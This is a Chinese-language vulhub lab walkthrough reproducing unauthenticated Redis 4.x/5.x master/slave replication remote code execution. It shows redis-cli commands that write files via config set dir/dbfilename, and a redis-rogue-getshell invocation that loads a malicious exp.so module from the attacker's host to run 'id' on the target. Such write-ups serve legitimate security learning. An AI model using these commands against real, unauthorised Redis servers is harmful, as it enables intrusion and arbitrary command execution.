本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
本文章主要是针对于vulhub靶场中的Redis 4.x/5.x 主从复制导致的命令执行进行复现,部分复现步骤可以参考vulhub靶场,这里我提供了利用POC工具验证的步骤,相比vulhub更加详细简单。
漏洞原理
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
本篇文章需要用到的工具下载地址
POC验证工具:unauthorized_com-main
EXP利用工具:redis-rogue-getshell-master
在复现未授权访问漏洞之前,我们有必要先大致的了解一下Redis是什么,Redis的简单使用与Redis未授权访问漏洞的危害。
Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。
Redis 数据库经常用于Web 应用的缓存。
Redis 可以与文件系统进行交互。
Redis 监听TCP/6379
Redis 未设置密码,客户端工具可以直接链接。
┌──(root㉿kali)-[~/…/vulhub/vulhub/redis/4-unacc]
└─# redis-cli -h 10.9.75.101
10.9.75.101:6379> set name yuanboss
OK
10.9.75.101:6379> get name
"yuanboss"
10.9.75.101:6379> config set dir /tmp/
OK
10.9.75.101:6379> config set dbfilename yuanboss.txt
OK
10.9.75.101:6379> save
OK
前往vulhub的redis/4-unacc目录执行以下命令启动靶场环境
docker-compose up -d
通过我提供的POC验证工具对靶场的IP进行检测,查看是否具有未授权访问漏洞
经过POC验证,存在redis未授权访问漏洞
通过我提供的EXP利用工具进行利用,由于这个靶场环境中的redis的版本范围是符合是是主从复制的,具有远程代码执行漏洞:
注意-r参数指的是目标的IP地址,-L是本机的IP地址,不要用本机的会换地址或者localhost
python3 redis-master.py -r 10.9.75.101 -p 6379 -L 10.9.75.101 -P 8888 -f RedisModulesSDK/exp.so -c "id"
可以看到我们利用RCE漏洞成功执行了linux中的 id
命令
对于未授权访问漏洞,我们要具有敏锐的嗅觉,未授权访问一般都出现于中间件,比如 zookeeper,docker,redis,wordpress
等中间件或者框架,看到这类的中间件或者框架,我们就应该想到是否不需要密码就能访问,这个时候我们就可以直接拿到我们的POC工具进行漏洞验证了,如果发现存在某个漏洞,我们就可以去网上找EXP或者自己编写EXP进行利用。
所以未授权访问漏洞的本质其实就是中间件或者CMS框架没有这种密码,导致我们可以直接连接。